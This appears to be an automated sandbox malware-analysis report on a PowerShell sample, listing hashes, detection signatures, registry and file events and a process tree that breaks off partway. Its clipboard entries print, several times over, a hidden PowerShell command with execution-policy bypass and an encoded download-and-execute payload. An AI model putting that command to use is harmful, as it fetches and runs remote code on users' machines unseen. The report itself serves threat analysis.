75630229a6c927f6916f6ecb77b5fbbb5690af28ee8419a05e8ff627a2d5a80f

Resubmissions

27/07/2026, 01:21

260727-bqpkkstfla8

27/07/2026, 01:02

260727-bd2pdagg848

Analysis

geolocation tags

asiadelhiinindia
user interaction
yes
max time kernel
899s
max time network
898s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-de
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-delocale:de-deos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 01:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
powershell -Command Start-Process p.txt
Size 657B
Sample260727-bd2pdagg84
SHA256 75630229a6c927f6916f6ecb77b5fbbb5690af28ee8419a05e8ff627a2d5a80f
MD5 022fc37c04914c2d5d8acb472c364ff7
SHA1 15190c6353dca439cc767e98d32c042f58ee52cd
SHA512 ec2c6bf662adcada367e14cb5265c391ea9997e24cd2a1244af7d070dccbcbfb0925d07d3e8569595692b42c429a2cc33d19f1d4eaa97d36b4b6a567276ab8f5
TLSH
T1A201DD398E74ECC4879EB79088A13F6708BD281683789440FF341C69BC0ABC5D72A5DC
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
420	5860	powershell.exe
421	5860	powershell.exe
429	5860	powershell.exe
420	5860	powershell.exe
429	5860	powershell.exe
481	5860	powershell.exe
482	5860	powershell.exe
498	5860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe
3144	powershell.exe
2116	powershell.exe
3144	powershell.exe
2116	powershell.exe
2452	powershell.exe
4892	powershell.exe
3144	powershell.exe
2228	powershell.exe
4188	powershell.exe
4272	powershell.exe
2240	powershell.exe
4788	powershell.exe
4208	powershell.exe
2312	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1404	msedge.exe

Suspicious clipboard content. 11 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE
powershell -Command \"Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9AC	NOTEPAD.EXE

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Dictionaries\en-US-10-1.bdic	msedge.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_826659472\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_826659472\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1197751851\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1733124709\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_804824229\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1733124709\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1151113555\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1228388877\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1182125641\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_368293409\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_826659472\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1152086963\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1182125641\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1228388877\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1182125641\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_804824229\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1733124709\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1228388877\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_826659472\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_368293409\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_495600202\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1404_1402380394\_locales\zh_HK\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6088	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134295877830210545"	msedge.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3989226554-2204910950-1522900112-1000\{CA7300BA-1435-4CFA-8C18-8DC59C69AB29}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
5640	msedge.exe
5640	msedge.exe
5860	powershell.exe
5860	powershell.exe
5860	powershell.exe
3144	powershell.exe
3144	powershell.exe
3144	powershell.exe
2116	powershell.exe
2116	powershell.exe
2116	powershell.exe
2264	powershell.exe
2264	powershell.exe
2264	powershell.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
2240	powershell.exe
2240	powershell.exe
2240	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
3144	powershell.exe
3144	powershell.exe
3144	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	5860	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe
1404	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 1092	1404	msedge.exe	90
PID 1404 wrote to memory of 6088	1404	msedge.exe	91
PID 1404 wrote to memory of 3872	1404	msedge.exe	92
PID 1404 wrote to memory of 3872	1404	msedge.exe	92
PID 1404 wrote to memory of 3872	1404	msedge.exe	92
PID 1404 wrote to memory of 4744	1404	msedge.exe	93
PID 1404 wrote to memory of 4744	1404	msedge.exe	93
PID 1404 wrote to memory of 2732	1404	msedge.exe	95
PID 1404 wrote to memory of 2732	1404	msedge.exe	95
PID 1404 wrote to memory of 2732	1404	msedge.exe	95
PID 1404 wrote to memory of 5820	1404	msedge.exe	96
PID 1404 wrote to memory of 5820	1404	msedge.exe	96
PID 1404 wrote to memory of 5820	1404	msedge.exe	96
PID 1404 wrote to memory of 2800	1404	msedge.exe	97
PID 1404 wrote to memory of 5732	1404	msedge.exe	98
PID 1404 wrote to memory of 2800	1404	msedge.exe	97
PID 1404 wrote to memory of 2800	1404	msedge.exe	97
PID 1404 wrote to memory of 5732	1404	msedge.exe	98
PID 1404 wrote to memory of 5732	1404	msedge.exe	98
PID 1404 wrote to memory of 620	1404	msedge.exe	100
PID 1404 wrote to memory of 620	1404	msedge.exe	100
PID 1404 wrote to memory of 3680	1404	msedge.exe	101
PID 1404 wrote to memory of 3680	1404	msedge.exe	101
PID 1404 wrote to memory of 1952	1404	msedge.exe	102
PID 1404 wrote to memory of 1952	1404	msedge.exe	102
PID 1404 wrote to memory of 4188	1404	msedge.exe	104
PID 1404 wrote to memory of 4108	1404	msedge.exe	105
PID 1404 wrote to memory of 4108	1404	msedge.exe	105
PID 1404 wrote to memory of 2452	1404	msedge.exe	107
PID 1404 wrote to memory of 2452	1404	msedge.exe	107
PID 1404 wrote to memory of 4512	1404	msedge.exe	110
PID 1404 wrote to memory of 4512	1404	msedge.exe	110
PID 1404 wrote to memory of 4512	1404	msedge.exe	110
PID 1404 wrote to memory of 5772	1404	msedge.exe	111
PID 1404 wrote to memory of 5772	1404	msedge.exe	111
PID 1404 wrote to memory of 5384	1404	msedge.exe	112
PID 1404 wrote to memory of 5384	1404	msedge.exe	112
PID 1404 wrote to memory of 4256	1404	msedge.exe	113
PID 1404 wrote to memory of 4256	1404	msedge.exe	113
PID 1404 wrote to memory of 4256	1404	msedge.exe	113
PID 1404 wrote to memory of 2964	1404	msedge.exe	114
PID 1404 wrote to memory of 2964	1404	msedge.exe	114
PID 1404 wrote to memory of 2964	1404	msedge.exe	114
PID 1404 wrote to memory of 5736	1404	msedge.exe	115
PID 1404 wrote to memory of 5736	1404	msedge.exe	115
PID 1404 wrote to memory of 5736	1404	msedge.exe	115
PID 1404 wrote to memory of 5032	1404	msedge.exe	117
PID 1404 wrote to memory of 2720	1404	msedge.exe	118
PID 1404 wrote to memory of 1772	1404	msedge.exe	119
PID 2160 wrote to memory of 3184	2160	powershell.exe	122
PID 1404 wrote to memory of 4916	1404	msedge.exe	123
PID 1404 wrote to memory of 4916	1404	msedge.exe	123
PID 1404 wrote to memory of 5764	1404	msedge.exe	127
PID 1404 wrote to memory of 5764	1404	msedge.exe	127
PID 1404 wrote to memory of 4324	1404	msedge.exe	128
PID 1404 wrote to memory of 4324	1404	msedge.exe	128
PID 1404 wrote to memory of 5640	1404	msedge.exe	129
PID 1404 wrote to memory of 3680	1404	msedge.exe	130
PID 1404 wrote to memory of 3680	1404	msedge.exe	130
PID 1404 wrote to memory of 2128	1404	msedge.exe	131
PID 1404 wrote to memory of 2128	1404	msedge.exe	131
PID 1404 wrote to memory of 5724	1404	msedge.exe	134
PID 1404 wrote to memory of 5724	1404	msedge.exe	134
PID 1404 wrote to memory of 4932	1404	msedge.exe	135

C:\Windows\system32\NOTEPAD.EXE
C:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\powershell -Command Start-Process p.txt"
1⤵
- Suspicious clipboard content.
PID:1716

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffd21f5c188,0x7ffd21f5c194,0x7ffd21f5c1a0
  2⤵
  PID:1092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=de --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2036,i,7283578383800416412,9910741249668530412,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:11
  2⤵
  - System Time Discovery
  PID:6088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1916,i,18160930154875792283,2048996411417544634,262144 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
  2⤵
  PID:3872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2692,i,3015059520965683949,10315694956433638018,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:13
  2⤵
  PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3604,i,15559549291621392881,9176584842794790325,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
  2⤵
  PID:2732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3608,i,7680778769680919657,15706780733624484412,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:1
  2⤵
  PID:5820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4400,i,10788774135652187414,3265243293999006473,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:9
  2⤵
  PID:2800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4372,i,6834108905964282942,2591568445025746043,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:1
  2⤵
  PID:5732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
